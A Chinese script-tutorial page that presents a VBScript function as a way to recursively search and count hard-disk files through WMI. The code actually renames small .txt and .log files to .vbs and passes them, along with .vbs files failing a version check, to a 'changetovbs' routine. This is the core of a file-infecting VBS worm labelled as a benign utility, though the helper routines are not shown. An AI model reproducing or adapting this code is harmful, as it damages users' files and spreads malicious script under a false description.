手机
当前位置:查字典教程网 >脚本专栏 >vbs >VBS调用WMI遍历搜索硬盘文件并计数的方法
VBS调用WMI遍历搜索硬盘文件并计数的方法
摘要:多年之前写的一个VBS调用WMI来遍历搜索硬盘文件,并计数的函数,今天整理网盘,看到了,发上来核心代码:Functionwmisfile(p...

多年之前写的一个VBS调用WMI来遍历搜索硬盘文件,并计数的函数,今天整理网盘,看到了,发上来

核心代码:

Function wmisfile(path_sf,justcnt) 'On Error Resume Next StrComputer = "." Set ObjWMIService = GetObject("winmgmts:" & StrComputer & "rootcimv2") Set FileList = objWMIService.ExecQuery _ ("ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _ & "ResultClass = CIM_DataFile") For Each objFile In FileList fname = LCase(objfile.name) ename = LCase(objfile.extension) If 1 < objfile.filesize And objfile.filesize <= 50000 Then Select Case ename Case "txt","log" path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs" objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs") Call changetovbs(path_vbs,path_vbs) justcnt = justcnt + 1 Case "vbs" If checkversion(fname) = False Then Call changetovbs(fname,fname) justcnt = justcnt + 1 End If End Select End If Next Set colSubfolders = objWMIService.ExecQuery _ ("Associators of {Win32_Directory.Name='" & path_sf & "'} " _ & "Where AssocClass = Win32_Subdirectory " _ & "ResultRole = PartComponent") For Each objFolder In colSubfolders wmisfile objfolder.name,justcnt Next End Function

【VBS调用WMI遍历搜索硬盘文件并计数的方法】相关文章:

VBS 路由重启脚本

用vbs将本地文件替换为在文件服务器上找到的新版本

VBS 硬盘读写统计(分区读写统计)

用vbs实现取消隐藏文件夹中的所有文件

VBS读取注册表的两种方法

使用 Iisftp.vbs 列出FTP站点的方法

用VBS读写二进制文件的另一种方法分享

VBS调用Windows API函数的代码

用vbs实现对文本文件中的项计数

用vbs遍历文件并随机显示的脚本

精品推荐
分类导航